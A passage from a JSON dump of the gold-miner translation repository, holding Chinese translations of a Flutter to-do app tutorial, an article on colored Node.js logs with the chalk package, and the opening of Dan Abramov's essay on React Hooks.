[掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/making-a-todo-app-with-flutter.md",
    "content": "> * 原文地址：[Making a Todo App with Flutter](https://medium.com/the-web-tub/making-a-todo-app-with-flutter-5c63dab88190)\n> * 原文作者：[Gearóid M](https://medium.com/@asialgearoid?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/making-a-todo-app-with-flutter.md](https://github.com/xitu/gold-miner/blob/master/TODO1/making-a-todo-app-with-flutter.md)\n> * 译者：[DateBro](https://github.com/DateBro)\n> * 校对者：[geniusq1981](https://github.com/geniusq1981)\n\n# 用 Flutter 写一个待办事项应用\n\n![](https://cdn-images-1.medium.com/max/1000/1*517hQ_LDC3d4F1wWfRQr5g.png)\n\n[Flutter](https://flutter.io) 是 Google 对 React Native 的回应，它允许开发人员为 Android 和 iOS 创建原生应用。与用 JSX 编写的 React Native 不同，Flutter 应用程序是用 Google 的 [Dart](https://www.dartlang.org/) 语言编写的.\n\nFlutter 仍处于技术测试阶段，但它的工具非常稳定，并提供了流畅的开发体验。\n\n在这篇文章中，我将讲解如何使用 Flutter 创建一个简单的待办事项应用程序。\n\n### 安装相关工具\n\n> 这些说明是为 MacOS 和 Linux 编写的。Windows 需要一些额外的准备，因此请按照 [Flutter Windows 指南](https://flutter.io/setup-windows/)进行操作，然后转到下一步，**创建应用程序**。\n\n首先，下载下载与你的平台匹配的 [Flutter SDK](https://flutter.io/sdk-archive/)。对于这个应用程序，我们将在主目录中创建一个名为 `dev` 的目录，并在那里解压 Flutter SDK。\n\n```\nmkdir ~/dev\ncd ~/dev\nunzip ~/Downloads/flutter_macos_v0.3.2-beta.zip\n```\n\n现在我们可以在命令行里使用 ~dev/flutter/bin/flutter 命令运行 Flutter。输入命令有一些不够优雅，所以让我们把它加到 $PATH 中。在 `~/.bashrc` 文件的末尾添加这一行。\n\n```\nexport PATH=~/dev/flutter/bin:$PATH\n```\n\n然后运行 `source~/.bashrc` 以确保此更改生效。现在你可以直接从命令行运行 `flutter` 命令了。设置完成后，我们需要检查以确保我们已经安装了应用程序开发所需的所有其他内容，例如 Android Studio ，Xcode（仅限 MacOS）和其他依赖。幸运的是，Flutter 附带了一个工具，可以很容易地检查这个。只需要运行：\n\n```\nflutter doctor\n```\n\n这将准确地告诉你为了正确运行 Flutter，需要安装什么。按照 flutter doctor 的说明，确保所有都已经正确安装，然后再继续下一步。\n\n### 创建一个应用程序\n\n我们将创建我们的应用程序并在 Android 上进行测试，因为这在所有操作系统上都可以完成，所以这些步骤对于 iOS 都是一样的。\n\nFlutter 为不少 IDE 提供插件，包括 Android Studio 和 Visual Studio Code。但是，对于我们简单的应用程序来说，我们完全可以使用命令行和一个简单的文本编辑器完成所有操作。首先，让我们创建我们的应用程序，我们将其称为 `flutter_todo`。\n\n```\nflutter create flutter_todo\n```\n\nFlutter 中这个命令可以创建一个简单的 “Hello World” 风格的应用程序。我们可以在 Android 模拟器中立即测试它。打开 Android Studio，Flutter Doctor 会帮助你进行设置。这里我们要创建一个模拟器，但 Android  Studio 要求我们先创建一个项目。所以，让我们使用新创建的 Flutter 项目。选择 `导入项目（Gradle，Eclipse ADT 等）`，然后选择文件夹 `~/dev/flutter_todo/android`。完成导入项目后，检查控制台中是否有错误。如果有，使用 Android Studio 修复它们。\n\n现在，我们可以通过 `Tools> Android> AVD Manager` 来创建模拟器。单击“创建虚拟设备”，选择 _Pixel_，然后一路选择默认值，直到创建完毕。现在，你可以在列表中看到新设备 —— 双击启动它。模拟器运行后，就可以在上面运行我们的 Flutter 应用程序了。\n\n```\ncd flutter_todo\nflutter run\n```\n\n这个应用程序比普通的 Hello World 应用程序更有趣，并且包含一些交互性。点击右下角的按钮屏幕中间的计数器数值会增大。\n\n![](https://cdn-images-1.medium.com/max/800/1*G9qdgpLvq2o-rriUp0FlXw.png)\n\nFlutter 的 “Hello World” 应用程序\n\n#### 热重载\n\nFlutter 有一个非常有用的热重载功能，就像 React Native 一样。这意味着每次改代码时都不需要重新构建和重新运行应用程序。我们来看看它是如何工作的。\n\n比如我们想要更改 Hello World 应用程序标题栏中的文本。所有代码都位于 `lib/main.dart` 中。在这个文件中，找到下面这行：\n\n```\nhome: new MyHomePage(title: 'Flutter Demo Home Page'),\n```\n\n然后替换为：\n\n```\nhome: new MyHomePage(title: 'Basic Flutter App'),\n```\n\n保存文件，然后返回运行 `flutter run` 的命令行。你需要做的就是输入`r`，这会启动热重载过程。你会注意到在模拟器中，标题已经更改。不仅如此，如果你之前点击过按钮，你会发现到计数器并没有重置成 0。就是这个 _stateful hot reload_ 给开发增加了如此有用的功能。你可以随时调整代码并进行测试，但不需要在每次进行更改后强制返回应用程序的初始界面。\n\n![](https://cdn-images-1.medium.com/max/800/1*Sq-H7nOab6_dlqOtk9fQmg.png)\n\n你可以看到一个标题已更改的 Flutter 的 “Hello World” 应用程序。\n\n### Flutter 基础\n\n既然我们知道了如何运行 Flutter 应用程序，那么就该开始编写自己的应用程序了。我们选择经典的待办事项应用程序作为例子。如上所述，我们将使用 Dart 。它肯定不是最著名的语言，但如果你之前使用过 Javascript（特别是 ES2015+），C++ 或 Java，那你将会觉得非常熟悉。\n\n#### Material Design\n\nFlutter 附带一个软件包，可以帮助快速制作 [Material](https://material.io/) 风格的 App。它提供了一种创建带标题栏和正文的屏幕的简单方法。让我们首先设置一下待办事项应用程序，使它有一个我们应用程序名称的标题栏。\n\n删除 `lib/main.dart` 中现有的所有代码，并添加以下内容：\n\n```\n// 导入 MaterialApp 和其他组件，我们可以使用它们来快速创建 Material 应用程序\nimport 'package:flutter/material.dart';\n\n// 用 Dart 编写的代码从主函数开始执行，runApp 是 Flutter 的一部分，而且需要组件作为我们 app\n// 的容器。在 Flutter 中，\n// 万物皆组件。\nvoid main() => runApp(new TodoApp());\n\n// Flutter 中，万物皆组件，甚至是整个 App 本身\nclass TodoApp extends StatelessWidget {\n  @override\n  Widget build(BuildContext context) {\n    return new MaterialApp(\n      title: 'Todo List',\n      home: new Scaffold(\n        appBar: new AppBar(\n          title: new Text('Todo List')\n        )\n      ),\n    );\n  }\n}\n```\n\n#### 组件\n\n这一小段代码显示了 Flutter 中一个重要的概念 —— 万物皆组件。我们的整个应用程序是一个组件，其中包含 `MaterialApp` 组件。`Scaffold` 是一个组件，它可以帮助我们快速创建合适的 Material 布局，而不用担心手动设置样式。`AppBar` 是一个接受标题的组件，它会在屏幕顶部创建一个栏，这在应用程序中很常见。在 Android 上，它会将文本左侧对齐，而在 iOS 上，它会将文本居中。\n\n由于我们对应用程序进行了比较大的改动，所以这次热重载将无法正常工作。这次我们需要完全重启应用程序。在命令行中，输入 `R` —— 注意它是大写的，与热重载不同。你将看到一个带标题栏的简单应用程序。\n\n![](https://cdn-images-1.medium.com/max/800/1*ebJQyqOKcyHOKFObqTXN8A.png)\n\nAndroid（Pixel 2）与 iOS（iPhone X）上标题栏样式的区别\n\n### Stateless Widgets 和 Stateful Widgets\n\n为了使我们的应用看起来更像一个待办事项应用程序，我们应当展示一些任务。你可能已经注意到我们上面的简单应用程序是一个 `StatelessWidget`。这意味着无法动态修改。对于我们的待办事项应用程序来说，这并不好，因为待办事项会一直添加和删除。但是，`StatelessWidget` 可以生成动态的子项，它们是`StatefulWidget`。让我们从整个 app 容器开始分析我们的有状态功能（待办事项列表容器）。\n\n要创建一个 stateful widget，我们需要两个类 —— 一个用于组件本身，另一个用于创建状态。这个设置允使我们可以轻松保存状态，并能够使用热重载等功能。\n\n> **为什么一个 stateful widget 需要两个类？**\n> 想象一下，我们有一个待办事项列表组件，里面有五个待办事项。当我们往列表中添加另一个事项时，Flutter 会以不同的方式更新屏幕。你可能希望它只是将这一项添加到现有组件中。实际上，它创建了一个全新的组件，并把它同旧的组件进行比较，以确定在屏幕上进行哪些更改。\n\n> 由于我们在每次更改时都会创建一个新窗口组件，所以我们无法在窗口组件中存储任何状态，因为它会在下一次更改时丢失。这就是为什么我们需要一个单独的 State 类。\n\n下面的代码显示了我们新的有状态应用。它在功能上与我们之前的代码相同，但现在可以轻松更改待办事项列表的内容了。用下面的代码替换 `lib/main.dart` 的所有内容，并用 `R` 完全重启。\n\n```\n// 导入 MaterialApp 和其他组件，我们可以使用它们来快速创建 Material 应用程序\nimport 'package:flutter/material.dart';\n\nvoid main() => runApp(new TodoApp());\n\nclass TodoApp extends StatelessWidget {\n  @override\n  Widget build(BuildContext context) {\n    return new MaterialApp(\n      title: 'Todo List',\n      home: new TodoList()\n    );\n  }\n}\n\nclass TodoList extends StatefulWidget {\n  @override\n  createState() => new TodoListState();\n}\n\nclass TodoListState extends State<TodoList> {\n  @override\n  Widget build(BuildContext context) {\n    return new Scaffold(\n      appBar: new AppBar(\n        title: new Text('Todo List')\n      )\n    );\n  }\n}\n```\n\n### 修改状态\n\n现在我们的应用已准备好变得有状态化，我们希望能够添加待办事项。首先，我们要添加一个浮动操作按钮（FAB），它可以添加一个自动生成的任务。一会儿我们会允许用户输入自己的任务。我们所有的更改都在 `TodoListState` 中。\n\n```\nclass TodoListState extends State<TodoList> {\n  List<String> _todoItems = [];\n\n  // 每按一次 + 按钮，都会调用这个方法\n  void _addTodoItem() {\n    // Putting our code inside \"setState\" tells the app that our state has changed, and\n    // it will automatically re-render the list\n    setState(() {\n      int index = _todoItems.length;\n      _todoItems.add('Item ' + index.toString());\n    });\n  }\n\n  // 构建整个待办事项列表\n  Widget _buildTodoList() {\n    return new ListView.builder(\n      itemBuilder: (context, index) {\n        // itemBuilder 将被自动调用，因为列表需要多次填充其可用空间\n        // 而这很可能超过我们拥有的待办事项数量。\n        // 所以，我们需要检查索引是否正确。\n        if(index < _todoItems.length) {\n          return _buildTodoItem(_todoItems[index]);\n        }\n      },\n    );\n  }\n\n  // 构建一个待办事项\n  Widget _buildTodoItem(String todoText) {\n    return new ListTile(\n      title: new Text(todoText)\n    );\n  }\n\n  @override\n  Widget build(BuildContext context) {\n    return new Scaffold(\n      appBar: new AppBar(\n        title: new Text('Todo List')\n      ),\n      body: _buildTodoList(),\n      floatingActionButton: new FloatingActionButton(\n        onPressed: _addTodoItem,\n        tooltip: 'Add task',\n        child: new Icon(Icons.add)\n      ),\n    );\n  }\n}\n```\n\n让我们仔细看看如何添加一个新的待办事项：\n\n*   用户点击 `+` 按钮，回调 `onPressed` 函数，从而触发 `_addTodoItem` 函数\n*   `addTodoItem` 向 `_todoItems` 数组中添加一个新的字符串\n*   `_addTodoItem` 中的所有内容都会被包含在 `setState` 调用中，这个调用会通知应用程序待办事项列表已更新\n*   `TodoList.createState` 会在待办事项列表更新时被触发\n*   这会调用 `new TodoListState()`，它的构造函数是 `build`，它会构建一个全新的**带有更新了的 TODO 事项的** widget\n*   该应用程序获取此新窗口组件，将其与前一个窗口组件进行比较，并添加新项目而不更改其他项目\n\n![](https://cdn-images-1.medium.com/max/800/1*bV3Viw7sWVLDhbaKasHpZA.png)\n\n这个应用程序的第二个界面，可以允许用户添加任务\n\n### 用户交互\n\n如果用户只能添加自动生成的项目，那么这个应用程序就不是很有用。让我们改变我们的 `+` 按钮的工作方式，让用户能够指定他们自己的任务。我们希望它打开第二个界面，里面有一个简单的文本框，用户可以在里面输入自己的任务。\n\n#### 添加待办事项\n\nFlutter 可以非常简单地使用 `MaterialPageRoute` 组件添加第二个界面。这需要一个 `builder` 函数作为参数。这将返回一个“Scaffold”，你可以从我们现有的界面中认出它。因此，创建第二个界面的布局将和第一个界面相同。\n\n创建页面后，我们需要告诉应用程序如何使用它，并且它应该在另一个界面的顶部触发动画。Flutter 为我们提供了 `Navigator` 来完成这项工作，它使用了在移动应用程序中很常见的 _navigation stack_ 概念。要添加新屏幕，我们把他 _push_ 到导航堆栈。要删除它，我们就 _pop_ 它。我们会创建一个名为 `_pushAddTodoScreen` 的新函数，它将处理所有这些任务。然后我们可以修改 `floatingActionButton` 的 `onPressed` 方法来调用这个函数。\n\n用下面的代码替换现有的 `_addTodoItem` 和 `build` 函数，并在它们旁边添加新的 `_pushAddTodoScreen` 函数。按 `R` 触发完全重启，以确保删除上次自动生成的任务。单击 `+` 按钮并添加任务，然后按键盘上的 Enter 键。屏幕将会关闭，任务会出现在列表中。\n\n```\n// 添加待办事项现在接受一个字符串，而不是自动生成\nvoid _addTodoItem(String task) {\n  // 仅在用户实际输入内容时添加任务\n  if(task.length > 0) {\n    setState(() => _todoItems.add(task));\n  }\n}\n\nWidget build(BuildContext context) {\n  return new Scaffold(\n    appBar: new AppBar(\n      title: new Text('Todo List')\n    ),\n    body: _buildTodoList(),\n    floatingActionButton: new FloatingActionButton(\n      onPressed: _pushAddTodoScreen, // pressing this button now opens the new screen\n      tooltip: 'Add task',\n      child: new Icon(Icons.add)\n    ),\n  );\n}\n\nvoid _pushAddTodoScreen() {\n  // 将此页面推入任务栈\n  Navigator.of(context).push(\n    // MaterialPageRoute 会自动为屏幕条目设置动画\n    // 并添加后退按钮以关闭它\n    new MaterialPageRoute(\n      builder: (context) {\n        return new Scaffold(\n          appBar: new AppBar(\n            title: new Text('Add a new task')\n          ),\n          body: new TextField(\n            autofocus: true,\n            onSubmitted: (val) {\n              _addTodoItem(val);\n              Navigator.pop(context); // Close the add todo screen\n            },\n            decoration: new InputDecoration(\n              hintText: 'Enter something to do...',\n              contentPadding: const EdgeInsets.all(16.0)\n            ),\n          )\n        );\n      }\n    )\n  );\n}\n```\n\n#### 删除待办事项\n\n用户完成任务后，需要一种方法将其标记为已完成并从列表中删除。为了简单起见，我们要在用户点击任务时显示一个对话框，询问他们是否要将事项标记为完成。\n\n![](https://cdn-images-1.medium.com/max/800/1*rw1otrHN232dzY9wJCe2EA.png)\n\n一个要求用户确认其任务完成与否的对话框\n\n我们将创建两个新函数来实现它，`_removeTodoItem` 和 `_promptRemoveTodoItem`。`_buildTodoItem` 也将被修改来处理用户的点击交互。看看下面的新代码，看看你能否明白它的工作原理。后面我会详细介绍。\n\n```\n// 与 _addTodoItem 非常类似，它会修改待办事项的字符串数组，\n// 并通过使用 setState 通知应用程序状态已更改\nvoid _removeTodoItem(int index) {\n  setState(() => _todoItems.removeAt(index));\n}\n\n// 显示警告对话框，询问用户任务是否已完成\nvoid _promptRemoveTodoItem(int index) {\n  showDialog(\n    context: context,\n    builder: (BuildContext context) {\n      return new AlertDialog(\n        title: new Text('Mark \"${_todoItems[index]}\" as done?'),\n        actions: <Widget>[\n          new FlatButton(\n            child: new Text('CANCEL'),\n            onPressed: () => Navigator.of(context).pop()\n          ),\n          new FlatButton(\n            child: new Text('MARK AS DONE'),\n            onPressed: () {\n              _removeTodoItem(index);\n              Navigator.of(context).pop();\n            }\n          )\n        ]\n      );\n    }\n  );\n}\n\nWidget _buildTodoList() {\n  return new ListView.builder(\n    itemBuilder: (context, index) {\n      if(index < _todoItems.length) {\n        return _buildTodoItem(_todoItems[index], index);\n      }\n    },\n  );\n}\n\nWidget _buildTodoItem(String todoText, int index) {\n  return new ListTile(\n    title: new Text(todoText),\n    onTap: () => _promptRemoveTodoItem(index)\n  );\n}\n```\n\n首先，我们需要从列表中删除任务的功能，这可以用 `_removeTodoItem` 函数来处理。最佳是通过 `_todoItems` 数组中的索引来引用我们要删除的项目。如果有多个具有相同名称的任务，按名称引用会出现问题。一旦我们得到了项目的索引，使用 Dart 的 `removeAt` 函数将其从数组中删除就很简单了。请记住，我们需要将它包装在 `setState` 中，以便在删除项后重新呈现列表。\n\n当用户点击它时，不应该立即删除项目，而应该首先以更加 user-friendly 的方式提示他们。`_promptRemoveTodoItem` 函数使用 Flutter 的 `AlertDialog` 组件来执行这个操作。这个构造函数和我们之前看到的类似，比如 `Scaffold`。它只接受文本标题和按钮数组。按钮敲击的处理由 `onPressed` 完成，如果按下正确的按钮，就调用 `_removeTodoItem` 函数处理。\n\n最后，我们在 `_buildTodoItem` 中为每个列表项添加一个 `onTap` 处理程序，它会显示上面的提示。我们需要这个处理程序的 todo 项的索引，所以我们还必须修改 `_buildTodoList` 以在调用 `_buildTodoItem` 时传递项的索引。Flutter 会自动添加 Material 风格的 tap 动画，对用户来说体验不错。\n\n### 结果\n\n就像接下来的视频演示的一样，最终的 App 允许用户添加和删除待办事项。如果你想使用的话，最终生成的 `main.dart` 文件可以在 [GitHub](https://gist.github.com/asialgearoid/227883a08bfd2cc45939758a064dd2ff) 上找到。\n\n![](https://cdn-images-1.medium.com/max/800/1*mqN9VlClBMRDCZ1RPhQLCw.gif)\n\n应用程序最终形态\n\n如果您希望继续使用它，可以在应用程序中改进一些内容。比如，由于 Flutter 的保存方式，用户的待办事项在应用程序启动间隙保存，但这种保持用户数据的方法并不可靠。不过，用户的待办事项可以[使用 shared_preferences](https://flutter.io/cookbook/persistence/key-value/) 安全地保存在设备上。\n\n想要进一步改进应用程序，你可以[更改主题](https://flutter.io/cookbook/design/themes/)，甚至为用户的待办事项添加类别。\n\n### 继续了解 Flutter\n\n在这篇博文中，我的目的是向大家简要介绍一下 Flutter 的潜力。如果你有兴趣了解有关 Flutter 的更多信息，[Flutter 开发者文档](https://flutter.io/docs/)非常全面、有用，最关键的是上面有很多示例。\n\n尽管 Flutter 仍处于测试阶段（写作时为 v0.3.2），但其生态已非常成熟。你不会发现自己找不到一些重要功能或文档。Google Adwords 等主要应用已在生产中使用 Flutter，因此如果你开始开发新应用，Flutter 值得研究一下。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO1/making-logs-colorful-in-nodejs.md",
    "content": "> * 原文地址：[Making Logs Colorful in NodeJS](https://medium.com/front-end-weekly/making-logs-colorful-in-nodejs-b26b6cf9f0bf)\n> * 原文作者：[Prateek Singh](https://medium.com/@prateeksingh_31398)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/making-logs-colorful-in-nodejs.md](https://github.com/xitu/gold-miner/blob/master/TODO1/making-logs-colorful-in-nodejs.md)\n> * 译者：[Jessica](https://github.com/cyz980908)\n> * 校对者：[Long Xiong](https://github.com/xionglong58)，[Zavier Tang](https://github.com/ZavierTang)\n\n# 给 NodeJS 的 Logs 点颜色看看！\n\n![图片版权：[Bapu Graphics](https://www.google.com/url?sa=i&url=https%3A%2F%2Fwww.bapugraphics.com%2Fmultimediacoursetips%2F7-nodejs-tips-and-also-tricks-for-javascript-developers%2F&psig=AOvVaw3ZA2cfk0Y7Q-TxrYBfFgd0&ust=1580829786882000&source=images&cd=vfe&ved=0CAMQjB1qFwoTCMiwnIfYtecCFQAAAAAdAAAAABAD)](https://cdn-images-1.medium.com/max/2000/1*fVkQKafnrC3U6YL7yynPag.jpeg)\n\n在任何应用中，日志都是一个非常重要的部分。我们借助它来调试代码，还可以将它通过 [Splunk](https://en.wikipedia.org/wiki/Splunk) 等框架的分析处理，了解应用中的重要统计数据。从我们敲出 “Hello Word!” 的那一天起，日志就成为了我们的好朋友，帮助了我们很多。所以说，日志基本上是所有后端代码架构中必不可少的部分之一。市面上有许多可用的日志库，比如 [Winston](https://github.com/winstonjs/winston)、[Loggly](https://www.loggly.com/docs/api-overview/)、[Bunyan](https://github.com/trentm/node-bunyan) 等等。但是，在调试我们的 API 或者需要检查某个变量的值时，我们需要的只是用 JavaScript 的 **console.log（）** 来输出调试。我们先来看一些您可能会觉得很熟悉的日志代码。\n\n```javascript\nconsole.log(\"MY CRUSH NAME\");\nconsole.log(\"AAAAAAA\");\nconsole.log(\"--------------------\");\nconsole.log(\"Step 1\");\nconsole.log(\"Inside If\");\n```\n\n为什么我们要放这样做？是因为懒吗？不，这样输出日志，是因为需要将我们期待的输出与控制台上打印的其他日志区分开。\n\n![图 1](https://cdn-images-1.medium.com/max/2730/1*UdH0W6yGIk3z3ptPrO5nog.png)\n\n目前我们仅仅在当前的控制台增加了 console.log(“Got the packets”) 这一行。您能在这堆日志（图 1）中找到 “Got the packets” 吗？我知道找到这条日志是很困难的。那么该怎么做呢？如何才能使我们的开发更加顺手，日志看起来更加优雅。\n\n## 有颜色的 Log\n\n如果我告诉您，这些日志可以同时用各种各样的颜色打印出来。这样开发就会更加顺手了，对吧?让我们看看下一张图片，并再次找一找 “**Got the packets**” 这条 log。\n\n![图 2](https://cdn-images-1.medium.com/max/2732/1*yPiqGs3XlYqywqZ0AdoTAg.png)\n\n“**Got the packets**“ 现在是明显的红色。很棒吧？我们可以将不同的 log 用不同的颜色表示。我打赌这个技能会改变您的日志风格，让日志变得更简单。我们来再看一个例子。\n\n![图 3](https://cdn-images-1.medium.com/max/2732/1*puJJ71wiSgqCv_h_L4qREg.png)\n\n新添加的 log 也是明显的。现在让我们来看看如何实现这个功能。我们可以使用 **Chalk** 包来实现这一点。\n\n## 安装\n\n```bash\nnpm install chalk\n```\n\n## 使用\n\n```javascript\nconst chalk = require('chalk');\nconsole.log(chalk.blue('Hello world!'));//打印蓝色字符串\n```\n\n您也可以自己定制主题并使用，就像下面这样。\n\n```javascript\nconst chalk = require('chalk');\n\nconst error = chalk.bold.red;\n\nconst warning = chalk.keyword('orange');\n\nconsole.log(error('Error!'));\nconsole.log(warning('Warning!'));\n```\n\n基本上它就像 chalk[修改符][颜色] 这样，我们可以在代码中打印彩色日志 😊。“**Chalk**” 包给我们提供了很多修改符和颜色来打印。\n\n## 修饰符\n\n* `reset` —— 重置当前颜色链。\n* `bold` —— 加粗文本。\n* `dim` —— 使亮度降低。\n* `italic` —— 将文字设为斜体。**（未被广泛支持）**\n* `underline` —— 使文字加下划线。**（未被广泛支持）**\n* `inverse` —— 反色背景和前景色。\n* `hidden` —— 打印文本，但使其不可见。\n* `strikethrough` —— 在文本的中间画一条水平线。**（未被广泛支持）**\n* `visible` —— 仅当 Chalk 的颜色级别 > 0 时才打印文本。它对于输出一个整洁好看的日志很有帮助。\n\n## 颜色\n\n* `black`\n* `red`\n* `green`\n* `yellow`\n* `blue`\n* `magenta`\n* `cyan`\n* `white`\n* `blackBright`（即：`gray`、`grey`）\n* `redBright`\n* `greenBright`\n* `yellowBright`\n* `blueBright`\n* `magentaBright`\n* `cyanBright`\n* `whiteBright`\n\n感谢您的阅读。后续，我将向您更新一些不太为人所知的 JavaScript 小技巧，帮助您的开发更加顺手。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/making-sense-of-react-hooks.md",
    "content": "> * 原文地址：[Making Sense of React Hooks](https://medium.com/@dan_abramov/making-sense-of-react-hooks-fdbde8803889)\n> * 原文作者：[Dan Abramov](https://medium.com/@dan_abramov?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/making-sense-of-react-hooks.md](https://github.com/xitu/gold-miner/blob/master/TODO1/making-sense-of-react-hooks.md)\n> * 译者：[HaoChuan9421](https://github.com/HaoChuan9421/)\n> * 校对者：[calpa](https://github.com/calpa), [Ivocin](https://github.com/Ivocin)\n\n# 理解 React Hooks\n\n本周，[Sophie Alpert](https://mobile.twitter.com/sophiebits) 和我在 React Conf 上提出了 “Hooks” 提案，紧接着是 [Ryan Florence](https://mobile.twitter.com/ryanflorence) 对 Hooks 的深入介绍：\n\n* YouTube 视频链接：https://youtu.be/dpw9EHDh2bM\n\n我强烈推荐大家观看这个开场演讲，在这个演讲里，大家可以了解到我们尝试使用 Hooks 提案去解决的问题。不过，花费一个小时看视频也是时间上的巨大投入，所以我决定在下面分享一些关于 Hooks 的想法。\n\n> **注意：Hooks 是 React 的实验性提案。你无需现在就去学习它们。另请注意，这篇文章包含我的个人意见，并不一定代表 React 团队的立场**。\n\n### 为什么需要 Hooks？\n\n我们知道组件和自上而下的数据流可以帮助我们将庞大的 UI 组织成小型、独立、可复用的块。**但是，我们经常无法进一步拆分复杂的组件，因为逻辑是有状态的，而且无法抽象为函数或其他组件**。这也就是人们有时说 React 不允许他们“分离关注点”的意思。\n\n这些情况很常见，包括动画、表单处理、连接到外部数据源以及其他很多我们希望在组件中做的事情。当我们尝试单独使用组件来解决这些问题时，通常我们会这样收场：\n\n*   **巨大的组件** 难以重构和测试。\n*   **重复的逻辑** 在不同的组件和生命周期函数之间。\n*   **复杂的模式** 像 render props 和高阶组件。\n\n我们认为 Hooks 是解决所有这些问题的最佳实践。**Hooks 让我们将组件内部的逻辑组织成可复用的隔离单元**：\n\n![](https://i.loli.net/2018/10/31/5bd98faa90275.png)\n\n**Hooks 在组件内部应用 React 的哲学（显式数据流和组合），而不仅仅是组件之间**。这就是为什么我觉得 Hooks 天生就适用于 React 的组件模型。\n\n不同于 render props 或高阶组件等的模式，Hooks 不会在组件树中引入不必要的嵌套。它们也没有受到 [mixins 的负面影响](https://reactjs.org/blog/2016/07/13/mixins-considered-harmful.html#why-mixins-are-broken)。\n\n即使你内心一开始是抵触的（就像我刚开始一样！），我还是强烈建议你直接对这个提案进行一次尝试和探索。我想你会喜欢它的。\n\n### Hooks 会使 React 变得臃肿吗？\n\n在我们详细介绍 Hooks 之前，你可能会担心我们通过 Hooks 只是向 React 添加了更多概念。这是一个公正的批评。我认为虽然学习它们肯定会有短期的认知成本，不过最终的结果却恰恰相反。\n\n**如果 React 社区接受 Hooks 的提案，这将减少编写 React 应用时需要考虑的概念数量**。Hooks 可以使得你始终使用函数，而不必在函数、类、高阶组件和 reader 属性之间不断切换。\n\n就部署大小而言，对 Hooks 的支持仅仅增加了 React 约 1.5kB（min + gzip）的大小。虽然不多，但由于使用 Hooks 的代码通常可以比使用类的等效代码压缩得更小，**所以使用 Hooks 也可能会减少你的包大小**。下面这个例子有点极端，但它有效地展示了我这么说的原因（点击查看整个帖子）：\n\n![](https://i.loli.net/2018/10/31/5bd98fde2d939.png)\n\n**Hooks 提案不包括任何重大变化**。即使你在新编写的组件中采用了 Hooks，你现有的代码仍将照常运行。事实上，这正是我们推荐的 —— 不做大的重写！在任何关键代码中采用 Hooks 都是一个好主意。与此同时，如果你能够尝试 16.7 alpha 版并在 [Hooks proposal](https://github.com/reactjs/rfcs/pull/68) 和 [report any bugs](https://github.com/facebook/react/issues/new) 向在我们提供反馈，我们将不胜感激。\n\n### 究竟什么是 Hooks？\n\n要了解 Hooks，我们需要退一步来思考代码复用。\n\n今天，有很多方式可以在 React 应用中复用逻辑。我们可以编写一个简单的函数并调用它们来进行某些计算。我们也可以编写组件（它们本身可以是函数或类）。组件更强大，但它们必须渲染一些 UI。这使得它们不便于共享非可视逻辑。这使得我们最终不得不用到 render props 和高阶组件等复杂模式。**如果只用一种简单的方式来复用代码而不是那么多，那么React会不会简单点**？\n\n函数似乎是代码复用的一种完美机制。在函数之间组织逻辑仅需要最少的精力。但是，函数内无法包含 React 的本地状态。在不重构代码或不抽象出 Observables 的情况下，你也无法从类组件中抽象出“监视窗口大小并更新状态”或“随时间变化改变动画值”的行为。这两种方法都破坏了我们喜欢的 React 的简单性。\n\nHooks 正好解决了这个问题。 Hooks 允许你通过调用单个函数以在函数中使用 React 的特性（如状态）。React 提供了一些内置的 Hooks，它们暴露了 React 的“构建块”：状态、生命周期和上下文。\n\n**由于 Hooks 是普通的 JavaScript 函数，因此你可以将 React 提供的内置 Hooks 组合到你自己的“自定义 Hooks”中**。这使你可以将复杂问题转换为一行代码，并在整个应用或 React 社区中分享它们：\n\n![](https://i.loli.net/2018/10/31/5bd990044fa52.png)\n\n注意，自定义 Hooks 从技术上讲并不是 React 的特性。编写自定义 Hooks 的可行性源自于 Hooks 的设计方式。\n\n### 